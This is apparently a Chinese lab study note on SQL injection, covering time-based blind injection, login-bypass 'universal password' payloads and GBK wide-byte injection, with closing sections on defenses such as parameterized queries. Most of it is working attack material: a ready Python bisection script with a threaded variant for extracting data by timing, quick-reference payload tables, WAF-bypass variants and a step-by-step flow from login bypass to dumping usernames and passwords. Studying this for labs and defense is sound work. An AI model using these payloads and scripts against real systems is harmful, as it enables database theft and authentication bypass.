ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

杂记06 SQL 注入03

杂记06 SQL 注入03 一、SQL 时间盲注数字型1.1 什么时候只能用它页面不回显、不报错、真假页面还长得一模一样——没有任何内容可看只剩一个变量响应快不快。场景首选手法有回显位UNION 注入最快有报错回显报错注入最快无回显、有真假差异布尔盲注较快无回显、无报错、真假无差异时间盲注兜底一句话时间盲注是最后一张牌速度最慢但适用面最广。1.2 核心思路把条件真假翻译成页面卡不卡if(条件, sleep(N), 0)条件为真→ 页面延迟 N 秒条件为假→ 秒回再用二分法逐位逼近字符把库名、表名、数据一点点读出来。1.3 核心函数函数用途适用范围if(cond, a, b)条件真返回 a假返回 bMySQL / MariaDBsleep(N)延迟 N 秒MySQL / MariaDBbenchmark(n, expr)执行 n 次 expr 造成延迟MySQL / MariaDBcase when cond then … endif被拦时的替代通用 SQLsubstr(str, n, 1)取第 n 位字符通用ascii(c)/ord(c)取 ASCII 码通用length(str)取字符串长度通用1.4 标准 Payload 结构1 and if(ascii(substr((子查询),n,1))mid, sleep(3), 0)--拆开看1 and …数字型注入点if(cond, sleep(3), 0)条件真则延迟 3 秒ascii(substr((子查询),n,1))取子查询第 n 位字符的 ASCII--注释掉后面的 SQL关于注释符MySQL 的--必须后跟一个空格才生效。所以在 URL 里要写成--或--%20在 URL 中解码为空格直接以裸--结尾会失效甚至报语法错。嫌麻烦就用#URL 编码%23它不需要空格。1.5 完整攻击流程1. 判注入点 → and sleep(3)-- 页面卡 3 秒 2. 确认可控 → and if(11,sleep(3),0)-- 卡 and if(12,sleep(3),0)-- 不卡 3. 拿库名 → database() 4. 拿表名 → information_schema.tables 5. 拿字段名 → information_schema.columns 6. 拿数据 → select 目标字段 from 目标表1.6 二分法脚本Pythonimport requests import time murl http://target/check?id1%20and%20 headers {User-Agent: Mozilla/5.0, Cookie: session...} DELAY 3 # sleep 秒数 THRESHOLD 2.0 # 判定阈值秒 RETRY 3 def is_true(cond): 条件为真 → 页面延迟返回 True url f{murl}if({cond},sleep({DELAY}),0)--%20 for _ in range(RETRY): try: t1 time.time() requests.get(url, headersheaders, timeoutDELAY 5) return time.time() - t1 THRESHOLD except requests.exceptions.Timeout: return True # 超时说明页面卡住了视为真 except Exception: time.sleep(1) # 网络抖动重试 return False def get_char(expr, num, x32, y126): 二分法7 次请求定位一个字符ASCII 32~126 while x y: mid (x y) // 2 cond fascii(substr(({expr}),{num},1)){mid} if is_true(cond): x mid 1 else: y mid return x def get_string(expr, max_len80): res, sp , 0 for i in range(1, max_len 1): ch get_char(expr, i) if ch 32: # 空格 sp 1 if sp 2: # 连续两个空格视为结束 break continue sp 0 res chr(ch) print(f [] 第{i}位: {chr(ch)!r} 当前: {res}) return res print(get_string(select database()))三个关键设计设计原因超时也视为真请求超时恰恰说明页面被sleep卡住了连续两位空格即停避免傻乎乎地盲注到 80 位二分法范围 32~126 共 94 个字符7 次请求即可定位1.7 提速技巧时间盲注慢这节最关键先算笔账一位字符 7 次请求 × 3 秒 ≈ 21 秒一个 38 位字符串 ≈13 分钟。技巧效果缩短 sleepsleep(1.5) 阈值1.0速度直接翻倍先取长度用length()精确定位别盲猜 80 位group_concat多行拼成一行一次取完多线程并发每位一个线程速度提升 N 倍二分法已用7 次/位减少重试RETRY1 网络稳定时最划算多线程思路from concurrent.futures import ThreadPoolExecutor ​ with ThreadPoolExecutor(max_workers8) as ex: chars list(ex.map(lambda i: get_char(expr, i), range(1, 40))) flag .join(chr(c) for c in chars if c)1.8 常见踩坑现象原因解决全部判真网络抖动 / 阈值过低提高 sleep或多轮取中位数全部判假sleep被 WAF 拦截换benchmark/case when首次请求总超时sleep 时长 timeout 设置timeout DELAY 5报语法错忘加注释符原 SQL 后面的LIMIT在干扰末尾补--/%23if被拦关键字黑名单改case when cond then … endsleep被拦关键字黑名单改benchmark(5000000,md5(a))盲猜 80 位没判断结束条件连续两位空格即停结尾字符乱码遇到二进制 / 中文改用hex()盲注后再解码1.9 WAF 绕过被拦对象绕过方式sleepbenchmark(5000000,md5(a))ifcase when cond then sleep(3) else 0 end空格/**/、%09、%0a注释符--%20、#、/* */关键字大小写SlEeP、If内联注释/*!50000sleep*/-- benchmark 替代 sleep 1 and if(ascii(substr(database(),1,1))79, benchmark(5000000,md5(a)), 0)-- ​ -- case when 替代 if 1 and case when ascii(substr(database(),1,1))79 then sleep(3) else 0 end--1.10 跨数据库对照数据库延迟函数Payload 结构MySQL / MariaDBsleep(N)if(cond, sleep(3), 0)MySQLif被拦case whencase when cond then sleep(3) else 0 endMySQLsleep被拦benchmarkif(cond, benchmark(5000000,md5(a)), 0)SQL Serverwaitfor delayif(cond) waitfor delay 0:0:3PostgreSQLpg_sleep(N)case when cond then pg_sleep(3) else pg_sleep(0) endOracledbms_pipe.receive_messagedbms_pipe.receive_message((a),3)⚠️ PostgreSQL 的坑pg_sleep()返回void如果写成else 0会因为void与int类型不匹配直接报错两个分支必须都返回pg_sleep()。本靶场MySQL / MariaDB用if(cond, sleep(4), 0)。1.11 速查表步骤Payload判注入1 and sleep(3)--判真1 and if(11, sleep(3), 0)--判假1 and if(12, sleep(3), 0)--库名1 and if(ascii(substr(database(),n,1))mid, sleep(3), 0)--表名1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit k,1),n,1))mid, sleep(3), 0)--字段名1 and if(ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameflag limit k,1),n,1))mid, sleep(3), 0)--拿数据1 and if(ascii(substr((select flag from flag limit 0,1),n,1))mid, sleep(3), 0)--1.12 防御要点措施说明参数化查询根本防御杜绝一切注入禁止 SQL 拼接包括看似安全的where id $id关闭详细报错不泄露数据库结构WAF重点拦sleep、benchmark、if、case when限制请求频率时间盲注极度依赖海量请求限频可直接拖死攻击统一响应时长后端不因 SQL 变慢而变慢数据库最小权限Web 账号无权访问information_schema二、登录框万能密码场景登录框 / 用户查询接口参数被直接拼进 SQL目标无需正确密码即可登录2.1 本质让 WHERE 条件恒真或忽略密码登录 SQL 的典型形式SELECT id FROM users WHERE username $user AND password $pass LIMIT 1判断登录成功的逻辑这条查询有结果就算登录成功。于是有两条技术路线路线手段示例恒真拼OR 11admin or 11#注释用#/--注释掉密码判断admin#2.2 按闭合方式分类数值型无需引号适用WHERE id $idSELECT id FROM users WHERE ida or 11 # AND password... LIMIT 1 a or true # a or 1 # a or 11 # a or true -- a a or 1 -- a a or 11 -- a特点不需要闭合引号直接拼#或--注释掉密码判断11恒真1非零转真也能达到同样效果。单引号字符型适用WHERE username $userSELECT id FROM users WHERE usernamea or 11 # AND password... a or true # a or 1 # a or 11 # a or true -- a a or 1 -- a a or 11 -- a关键三步第一个闭合 username 引号 →or 11让条件恒真 →#或--注释掉剩余 SQL包括尾部那个多余的引号。双引号字符型适用WHERE username $usera or 11 # a or 1 # a or true # a or 11 -- a与单引号型完全一致只是把换成。2.3#与--的区别注释符URL 编码说明#%23MySQL / MariaDB 行注释后面不需要空格----%20或--SQL 标准注释后面必须跟空格-- a--%20a这里的a只是占位符用来保证空格存在为什么 payload 常写成-- a--后面必须有空格才生效直接以--结尾会被当成两个减号补一个a空格就显式存在了2.4 靶场实战分析靶场信息项目值地址http://靶场地址:端口/login.php方法POSTContent-Typeapplication/x-www-form-urlencoded参数username、password后端Nginx PHP 7.4Werkzeug 特征提示为开发环境推测的后端 SQLSELECT id FROM users WHERE username$username AND password$password LIMIT 1输入 payload用户名admin or 密码123456随便填拼接结果SELECT id FROM users WHERE usernameadmin or AND password123456 LIMIT 1为什么能绕过关键在于运算符优先级AND优先于OR。所以条件实际被解析为WHERE usernameadmin OR ( AND password123456)在 SQL 中为假 →( AND password123456)恒假usernameadmin为真admin 用户存在最终真 OR 假 真✅于是密码部分被整块废掉与密码无关随便填都行——只要 admin 用户存在就能登录。为什么不用恒真型因为admin or 不是恒真而是依赖 admin 存在的绕过类型Payload特点恒真型admin or 11#不依赖任何用户直接返回所有行依赖型admin or 依赖 admin 用户存在选依赖型的理由原 SQL 结尾自带LIMIT 1不需要注释利用 SQL 优先级即可payload 最短、最隐蔽。2.5 万能密码速查表闭合类型Payload是否恒真数值型1 or 11#/1 or 11--✅ 恒真数值型1 or true#/1 or 1#✅ 恒真单引号型admin or 11#✅ 恒真单引号型admin#/admin--✅ 注释掉密码单引号型admin or ⚠️ 依赖 admin 存在双引号型admin or 11#✅ 恒真双引号型admin#/admin--✅ 注释掉密码括号型admin) or (11✅ 恒真括号型admin)#✅ 注释掉密码2.6 通用检测流程1. 输入 admin / 123456 → 看返回用户名或密码错误 2. 输入 admin → 看是否抛 SQL 报错 3. 输入 admin or 11# → 看是否直接登录 4. 输入 admin# → 看是否绕过密码 5. 若为双引号型 → 把 换成 6. 若带括号 → 补 ) 或 ) 7. 登录成功后 → 尝试 union select 继续拿数据2.7 从登录绕过升级到拿数据只要能登录就能继续注入目标Payload联合注入探列数admin order by 3#拿库名admin union select 1,database()#拿表名admin union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#拿字段名admin union select 1,group_concat(column_name) from information_schema.columns where table_nameusers#拿账号密码admin union select 1,group_concat(username,0x3a,password) from users#布尔盲注admin and ascii(substr(database(),1,1))79#时间盲注admin and if(ascii(substr(database(),1,1))79, sleep(3), 0)#0x3a是冒号:的十六进制用来把用户名和密码拼成admin:password的形式。2.8 防御要点措施说明参数化查询根本防御输入不参与 SQL 解析禁止字符串拼接WHERE username$u AND password$p是典型反例密码哈希比对用password_verify()在应用层验证而不是丢给 SQLWAF 拦截过滤、or、--、#、union等报错信息统一化不显示 SQL 报错也别提示某用户不存在失败次数限制多次失败锁定账号或 IP验证码提高自动化攻击成本最小权限Web 数据库账号无系统库访问权限三、宽字节注入场景数据库使用 GBK / GB2312 / BIG5 等多字节编码代码用addslashes()等方式转义3.1 一句话讲明白宽字节注入 借助 GBK两个字节拼一个汉字的规则把转义符\当成汉字的一部分吃掉让单引号逃逸出来。如果觉得抽象先看这个保安与路障的故事假设公司门口有个保安addslashes()函数专门拦坏人。他只会做一件事看到坏人标志单引号就在它前面放一个路障\。$username addslashes($_GET[username]);输入admin→ 被保安变成admin\那个\就是路障单引号被拦住了正常情况下这个保安很有效。但公司是 GBK 编码的问题就来了。\这个路障的编号是%5c而 GBK 规定两个字节可以拼成一个汉字且第二个字节允许是%5c。于是黑客输入%df保安处理后变成%df\数据库一看%df\哎%df和\%5c凑在一起这不是一个合法的汉字吗于是把它们当成一个汉字处理——路障\就这样消失了单引号光秃秃地露在外面。SELECT * FROM users WHERE username admin運 or 11# ↑ 单引号成功闭合逃逸了角色对照表角色对应保安addslashes()函数坏人标志单引号路障\反斜杠%5c黑客的招数输入%df结果%df和\手拉手伪装成一个汉字路障消失3.2 逐字节拆解为什么%df%5c是一个汉字前置知识编码就是一张对照表计算机只认数字字节要有对照表才知道哪个数字代表哪个字符。ASCII 表单字节字节字符0x61a0x27单引号0x5c\反斜杠GBK 是双字节编码一个汉字 2 字节第一字节首字节范围0x81 ~ 0xFE第二字节尾字节范围0x40 ~ 0xFE不含0x7F0x5c恰好落在第二字节范围内这就是漏洞的根源。首字节范围含义0x00 ~ 0x7FASCII 单字节字符0x81 ~ 0xFE汉字首字节需要再读一个字节0xFF未使用拼接过程黑客输入 admin%df %df 就是 0xDF 是 0x27。addslashes() 在 前加 \ 后字节序列变成 61 64 6d 69 6e df 5c 27 a d m i n ↑ ↑ ↑ %df \ 数据库用 GBK 解析 61 → a 64 → d 6d → m 69 → i 6e → n df 5c → 合并成一个汉字運 27 → ← 单引号裸露出来了结果原本该拦住的0x5c自己先被当成汉字的第二字节吃掉了。 用比喻理解GBK 解析器看到df时会想——df是一个汉字的开头后面必须再读一个字节于是读到5c凑成汉字運剩下的27才被解析成。5c根本没机会拦住因为它已经名花有主了。3.3 为什么 UTF-8 免疫UTF-8 也是变长编码1~4 字节但规则完全不同首字节模式含义0xxxxxxxASCII1 字节110xxxxx2 字节字符后面跟 1 个10xxxxxx1110xxxx3 字节字符11110xxx4 字节字符关键UTF-8 的后续字节必须以10xxxxxx开头。而0x5c01011100最高位不是10没有资格作为延续字节。再看%df11011111它确实是 2 字节字符的首字节但后面跟的0x5c不符合10xxxxxx规范UTF-8 会直接判定为非法序列。GBK 下 df 5c 27 └──┬──┘ └─→ 一个汉字 结果\ 被吃掉 逃逸 ✅ ​ UTF-8 下 df 5c 27 ↑ ↑ └─→ 非法 \仍然拦截 结果攻击失败 ❌所以GBK → 宽字节注入有效UTF-8 → 无效。这正是靶场标题写着GBK 编码下宽字节注入的原因。3.4 触发前提条件说明数据库使用 GBK / BIG5 等多字节编码关键UTF-8 不受影响使用了addslashes/mysql_real_escape_string转义出来的\才有机会被吃掉连接编码为 GBK如SET NAMES gbk或默认 GBK老版本 PHPmysql_real_escape_string未正确处理字符集时更易中招3.5 常用 Payload场景Payload说明GBK addslashes%df or 11#%df%5c组合成汉字通用 GBK%bf or 11#换一个首字节同样有效URL 中直接写%df%27%5c由addslashes自动补上联合注入%df union select 1,2,3#闭合后接 union布尔盲注%df and ascii(substr(database(),1,1))79#逐位猜时间盲注%df and if(ascii(substr(database(),1,1))79, sleep(3), 0)#延迟判断首字节怎么选只要落在0x81 ~ 0xFE区间且与0x5c能组成合法 GBK 汉字即可。字节十六进制适用%df0xDF✅ 最常用%bf0xBF✅ 也常用%a10xA1✅%810x81✅ 边界值%fe0xFE✅ 边界值记住一句话宽字节注入只是逃逸单引号的手段。逃逸出来之后用法和普通字符型注入完全一样。3.6 宽字节注入 vs 普通注入对比项普通注入宽字节注入前提无过滤有addslashes等转义编码要求任意必须 GBK / BIG5核心 payload or 11#%df or 11#关键动作直接闭合引号先吃掉\再闭合后续利用完全相同完全相同3.6 防御要点措施说明参数化查询根本防御输入不参与 SQL 拼接统一使用 UTF-8SET NAMES utf8mb4从根上消除多字节歧义不要用addslashes它本身就不足以防御应使用参数化查询正确设置连接字符集用mysqli_set_charset()而非SET NAMES拼字符串关闭magic_quotes_gpcPHP 5.4 已默认关闭升级 PHP / MySQL新版本对字符集处理更严格WAF拦截%df、%bf等异常字节序列四、通用防御为什么参数化查询能根治三种注入手法看起来各不相同但病根只有一个用户输入被当成了 SQL 语法的一部分。层次措施效果根本参数化查询PreparedStatement输入永远只是数据不参与 SQL 解析辅助统一 UTF-8 编码消除宽字节歧义辅助关闭详细报错不泄露库表结构辅助最小权限即便被注入破坏面也有限兜底WAF 频率限制 失败锁定提高攻击成本运维统一响应时长让时间盲注失去判据参数化查询为什么防得住因为它不拼接 SQL 字符串先定义好 SQL 模板再把用户输入当纯数据传进去。用户输入永远是值变不成语法。// ❌ 错误写法拼接 $sql SELECT id FROM users WHERE username$username AND password$password; ​ // ✅ 正确写法参数化 $stmt $pdo-prepare(SELECT id, password_hash FROM users WHERE username ?); $stmt-execute([$username]); $user $stmt-fetch(); ​ if ($user password_verify($password, $user[password_hash])) { // 登录成功 }保安再厉害也没用因为根本不需要保安——SQL 模板已经定死了。五、三句话总结考点一句话记住时间盲注用响应时间代替页面内容判断真假if(条件, sleep(N), 0) 二分法。慢是常态缩短 sleep 多线程是唯一提速手段。万能密码让 WHERE 条件恒真或忽略密码闭合引号 →OR 11或#注释。AND优先于OR是理解优先级绕过的关键。宽字节注入借 GBK两字节拼一汉字的规则吃掉\%df%5c组成汉字单引号逃逸。逃逸后用法与普通注入完全相同。防御一句话参数化查询 统一 UTF-8不用addslashes。
返回列表